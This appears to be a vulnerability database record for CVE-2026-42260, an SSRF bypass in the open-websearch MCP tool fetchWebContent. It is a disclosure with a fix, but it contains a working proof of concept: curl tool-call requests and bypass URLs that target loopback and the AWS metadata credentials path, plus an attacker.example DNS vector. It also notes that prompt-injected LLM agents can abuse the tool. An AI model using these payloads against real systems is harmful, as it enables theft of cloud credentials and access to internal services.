{"id":"CVE-2026-42260","aliases":["GHSA-v228-72c7-fx8j"],"url":"https://o3.security/vulnerability/CVE-2026-42260","summary":"Open-WebSearch: SSRF in `fetchWebContent` MCP tool: bracketed IPv6 literals and non-resolving hostname check bypass `isPrivateOrLocalHostname`","details":"### Summary\n`src/utils/urlSafety.ts` exposes `isPublicHttpUrl` / `assertPublicHttpUrl`, used to gate the MCP `fetchWebContent` tool against private-network targets. The check has two defects that together allow **non-blind SSRF with the response body returned to the caller**:\n\n1. **Bracketed IPv6 literals are never recognized.** Node's WHATWG `URL.hostname` keeps the surrounding `[…]` for IPv6 literals. `isIP(\"[::1]\")` returns 0 (not 6), so neither `isPrivateIpv4` nor `isPrivateIpv6` is ever called on an IPv6 literal input — including `[::1]` itself, and including every IPv4-mapped form such as `[::ffff:7f00:1]` (= 127.0.0.1 via the IPv4 stack).\n2. **No DNS resolution.** `isPrivateOrLocalHostname` only inspects the literal `hostname` string. It never resolves the host to an IP. Any attacker-controlled hostname whose DNS record points at 127.0.0.1 (or any RFC1918 / link-local address) passes the check unchanged, and `axios` then performs its own resolution and connects to the private address.\n\nThe `isPrivateIpv6` implementation also has the hex bypass (it would miss `::ffff:7f00:1` even if reached) but defect (1) makes every bracketed IPv6 literal slip past before that branch is even entered.\n\nThe `fetchWebContent` tool returns the response body (`JSON.stringify(result)`) to the MCP caller, so the SSRF is non-blind.\n\n### Details\n<!-- obsidian --><p><strong>Vulnerable function</strong> — <code>src/utils/urlSafety.ts:95-119</code>:</p>\n<pre><code class=\"language-ts\">export function isPrivateOrLocalHostname(hostname: string): boolean {\n  const host = hostname.trim().toLowerCase();\n  if (!host) return true;\n  if (host === 'localhost' || host.endsWith('.localhost')) return true;\n  if (host === 'metadata.google.internal' || host === 'metadata.azure.internal') return true;\n  const integerIp = parseIntegerIpv4Literal(host);\n  if (integerIp &#x26;&#x26; isPrivateIpv4(integerIp)) return true;\n  if (isPrivateOrLocalIp(host)) return true;   // only runs if isIP(host) ∈ {4, 6}\n  return false;\n}\n</code></pre>\n<p><code>isPrivateOrLocalIp</code> — <code>src/utils/urlSafety.ts:84-93</code>:</p>\n<pre><code class=\"language-ts\">function isPrivateOrLocalIp(ip: string): boolean {\n  const version = isIP(ip);  // returns 0 for \"[::1]\", \"[::ffff:7f00:1]\", any bracketed literal\n  if (version === 4) return isPrivateIpv4(ip);\n  if (version === 6) return isPrivateIpv6(ip);\n  return false;\n}\n</code></pre>\n<p>Caller — <code>src/tools/setupTools.ts:252-286</code> (<code>fetchWebContent</code> tool):</p>\n<pre><code class=\"language-ts\">server.tool(\n  fetchWebToolName,  // default: \"fetchWebContent\"\n  \"Fetch content from a public HTTP(S) URL ...\",\n  { url: z.string().url().refine(\n      (url) => validatePublicWebUrl(url),   // → isPublicHttpUrl → isPrivateOrLocalHostname\n      \"URL must be a public HTTP(S) address ...\"\n    ), /* … */ },\n  async ({url, maxChars}) => {\n    const result = await runtime.services.fetchWeb.execute({ url, maxChars, /*…*/ });\n    return { content: [{ type: 'text', text: JSON.stringify(result, null, 2) }] };\n  }\n);\n</code></pre>\n<p>Service — <code>src/engines/web/fetchWebContent.ts:313-375</code>: re-validates via <code>assertPublicHttpUrl</code> (same broken check), then calls <code>axios.head</code> + <code>axios.get</code> on the raw URL and returns <code>response.data</code> and <code>response.headers</code> to the caller.</p>\n<p>Transport — <code>src/index.ts:85-253</code>: when <code>config.enableHttpServer</code> is true (documented configuration; enabled by the Docker image), the MCP server binds on <code>0.0.0.0:${PORT}</code> (default <code>3000</code>) with CORS <code>origin: '*'</code> and <strong>no authentication</strong> on <code>/mcp</code> (Streamable HTTP) or <code>/sse</code> (legacy SSE). Anyone who can reach the port can invoke any tool.</p>\n<h3 data-heading=\"Verification of the validator (run against current &#x60;HEAD&#x60;)\">Verification of the validator (run against current <code>HEAD</code>)</h3>\n<p>I executed the real <code>isPublicHttpUrl</code> / <code>assertPublicHttpUrl</code> from <code>src/utils/urlSafety.ts</code> under <code>tsx</code> against a set of inputs:</p>\n\nInput URL | parsed.hostname | isPublicHttpUrl | assertPublicHttpUrl\n-- | -- | -- | --\nhttp://[::ffff:7f00:1]/ (127.0.0.1) | [::ffff:7f00:1] | true ← bypass | PASSED ← bypass\nhttp://[::ffff:a9fe:1]/ (169.254.0.1) | [::ffff:a9fe:1] | true ← bypass | PASSED ← bypass\nhttp://[::ffff:a00:1]/ (10.0.0.1) | [::ffff:a00:1] | true ← bypass | PASSED ← bypass\nhttp://[::ffff:127.0.0.1]/ | [::ffff:7f00:1] | true ← bypass | PASSED ← bypass\nhttp://[0:0:0:0:0:0:0:1]/ | [::1] | true ← bypass | PASSED ← bypass\nhttp://[::1]/ (plain loopback!) | [::1] | true ← bypass | PASSED ← bypass\nhttp://127.0.0.1/ (control) | 127.0.0.1 | false (blocked) | threw (blocked)\nhttp://localhost/ (control) | localhost | false (blocked) | threw (blocked)\n\n\n<p>WHATWG <code>new URL(\"http://[::ffff:127.0.0.1]/\").hostname</code> returns <code>[::ffff:7f00:1]</code> — note that Node's URL parser actively re-encodes the dotted form to hex, helping the bypass. Every bracketed IPv6 literal passes the validator.</p>\n<h3 data-heading=\"Verification of the fetch (Node 22/25)\">Verification of the fetch (Node 22/25)</h3>\n<p>I bound a trivial HTTP server to <code>127.0.0.1:29999</code> and called <code>axios.get(\"http://[::ffff:7f00:1]:29999/\")</code> from Node; the request reached the server:</p>\n<pre><code>  HIT: / from 127.0.0.1 family IPv4\nhttp://[::ffff:7f00:1]:29999/ -> 200 &#x3C;html>internal content&#x3C;/html>\n</code></pre>\n<p>The OS routes <code>::ffff:X.X.X.X</code> connections through the IPv4 stack, so the PoC works identically across macOS and Linux.</p>\n\nEnvironment: clean clone of `Aas-ee/open-webSearch@HEAD`, Node 22+.\n\n**1. Start the MCP HTTP server.**\n\n```bash\ngit clone https://github.com/Aas-ee/open-webSearch.git\ncd open-webSearch\nnpm install && npm run build\nMODE=http PORT=3000 node build/index.js &\n```\n\n**2. Stand up a canary on loopback.**\n\n```bash\nnode -e '\n  require(\"http\").createServer((q,r)=>{\n    console.log(\"[canary]\", q.method, q.url, \"from\", q.socket.remoteAddress);\n    r.writeHead(200, {\"content-type\":\"text/html\"});\n    r.end(\"INTERNAL-SECRET: canary-hit for \" + q.url);\n  }).listen(19999, \"127.0.0.1\", () => console.log(\"canary on 127.0.0.1:19999\"));\n' &\n```\n\n**3. Open an MCP session and call `fetchWebContent` with the bypass URL.**\n\n```bash\n# Accept header must include both JSON and SSE for Streamable HTTP transport.\nACCEPT='application/json, text/event-stream'\n\n# initialize → grab the mcp-session-id header\nSID=$(curl -sSD - -o /dev/null -X POST http://127.0.0.1:3000/mcp \\\n  -H \"Accept: $ACCEPT\" -H 'Content-Type: application/json' \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2025-03-26\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"0\"}}}' \\\n  | awk 'tolower($1)==\"mcp-session-id:\" { gsub(/\\r/,\"\"); print $2 }')\n\n# notifications/initialized\ncurl -sS -X POST http://127.0.0.1:3000/mcp \\\n  -H \"Accept: $ACCEPT\" -H 'Content-Type: application/json' -H \"mcp-session-id: $SID\" \\\n  -d '{\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\",\"params\":{}}' >/dev/null\n\n# call fetchWebContent with the SSRF bypass URL\ncurl -sS -X POST http://127.0.0.1:3000/mcp \\\n  -H \"Accept: $ACCEPT\" -H 'Content-Type: application/json' -H \"mcp-session-id: $SID\" \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\n        \"name\":\"fetchWebContent\",\n        \"arguments\":{\"url\":\"http://[::ffff:7f00:1]:19999/internal\",\"maxChars\":10000}\n      }}'\n```\n\nExpected result: the canary logs `[canary] GET /internal from 127.0.0.1`, and the MCP response contains `INTERNAL-SECRET: canary-hit for /internal` in the tool's `content[0].text`.\n\nAdditional bypass vectors that work the same way:\n\n- `http://[::1]:<port>/` — plain IPv6 loopback.\n- `http://[::ffff:a9fe:1]/latest/meta-data/iam/security-credentials/` — AWS EC2 metadata over the IPv4 stack.\n- `http://attacker.example/` where `attacker.example` has A/AAAA pointing at any private address — bypasses via defect (2), no IPv6 trick needed.\n\n### Impact\n\n- **Cross-tenant SSRF with full response body.** Any client that can speak MCP to the HTTP transport can fetch arbitrary private-network URLs and receive the response body. AWS EC2 metadata, internal dashboards, loopback services, RFC1918 neighbours — all in scope.\n- **Pre-auth when `enableHttpServer` is set.** No authentication layer exists on `/mcp` or `/sse`; CORS is `*`.\n- **DNS-rebinding / LAN-victim angle.** Because `/mcp` is CORS `*` and accepts `POST`, a victim who visits an attacker-controlled webpage while running open-webSearch locally will have their browser used to send tool-call requests, and the tool's response can be exfiltrated back via a simple XHR.\n- **Exploitable over stdio too.** Even with HTTP disabled, a compromised or prompt-injected MCP client can call `fetchWebContent` against loopback on the host running the server — a realistic LLM-agent-abuse vector.\n\nNo meaningful mitigation in the call chain: only `http://` and `https://` schemes are accepted, but that is not a restriction for SSRF.\n\n### Suggested fix\n\nTwo changes, either of which individually closes most of the gap; both together close it fully.\n\n1. **Normalize the hostname before IP checks, and perform a DNS resolution.** Use the `ip-address` package or a similar canonicalizer, and reject any `getaddrinfo` result whose IP falls in a private CIDR. Keep a bracket-stripping step for IPv6 literals before calling `isIP()`.\n\n    ```ts\n    import { lookup } from 'node:dns/promises';\n    import { Address4, Address6 } from 'ip-address';\n\n    function stripBrackets(h: string): string {\n      return h.startsWith('[') && h.endsWith(']') ? h.slice(1, -1) : h;\n    }\n\n    const BLOCKED_V6_CIDRS = [\n      '::1/128', '::/128',\n      'fc00::/7', 'fe80::/10',\n      '2001:db8::/32', '2002::/16', '64:ff9b::/96',\n      '100::/64', 'ff00::/8',\n      '::ffff:0:0/96',   // IPv4-mapped — delegate to v4 check\n    ];\n\n    function ipv6IsPrivate(addr6: Address6): boolean {\n      const v4 = addr6.to4();\n      if (v4 && v4.isValid()) return isPrivateIpv4(v4.address);\n      return BLOCKED_V6_CIDRS.some(cidr => addr6.isInSubnet(new Address6(cidr)));\n    }\n\n    export async function assertPublicHttpUrl(url: URL | string, label = 'URL') {\n      const parsed = typeof url === 'string' ? new URL(url) : url;\n      if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') throw …;\n      const host = stripBrackets(parsed.hostname);\n\n      // Literal IP case.\n      const v = isIP(host);\n      if (v === 4 && isPrivateIpv4(host)) throw …;\n      if (v === 6 && ipv6IsPrivate(new Address6(host))) throw …;\n\n      if (v === 0) {\n        // Hostname — resolve and check every record.\n        const records = await lookup(host, { all: true, verbatim: true });\n        for (const r of records) {\n          if (r.family === 4 && isPrivateIpv4(r.address)) throw …;\n          if (r.family === 6 && ipv6IsPrivate(new Address6(r.address))) throw …;\n        }\n      }\n    }\n    ```\n\n2. **Dual-pin the connection.** Even a perfect pre-connect check has TOCTOU gaps (DNS rebinding between check and `axios.get`). Use a custom `undici` `Agent` whose `connect` hook validates the actual connected socket IP via `socket.remoteAddress`. That closes the rebinding window.\n\n3. **Gate the HTTP transport.** Require a bearer token (env var) on `/mcp` and `/sse`, and restrict binding to `127.0.0.1` by default. CORS `*` plus no-auth on `0.0.0.0` is the same exposure profile as an unauthenticated open proxy.\n\nTest vectors to add to the suite:\n\n```ts\nfor (const url of [\n  'http://[::1]/', 'http://[::]/',\n  'http://[::ffff:127.0.0.1]/', 'http://[::ffff:7f00:1]/',\n  'http://[0:0:0:0:0:ffff:127.0.0.1]/',\n  'http://[0:0:0:0:0:0:0:1]/', 'http://[::0:1]/', 'http://[0:0::1]/',\n  'http://[::ffff:a00:1]/', 'http://[::ffff:c0a8:1]/', 'http://[::ffff:a9fe:1]/',\n]) expect(isPublicHttpUrl(url)).toBe(false);","published":"2026-05-12T14:09:05.888Z","modified":"2026-08-12T03:51:22.827092144Z","cvss":{"score":8.2,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N"},"epss":{"score":0.00215,"percentile":0.12061,"asOf":"2026-08-14"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"open-websearch","fixedVersion":"2.1.7"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/Aas-ee/open-webSearch/security/advisories/GHSA-v228-72c7-fx8j"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42260.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42260"},{"type":"PACKAGE","url":"https://github.com/Aas-ee/open-webSearch"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:22.827092144Z"}}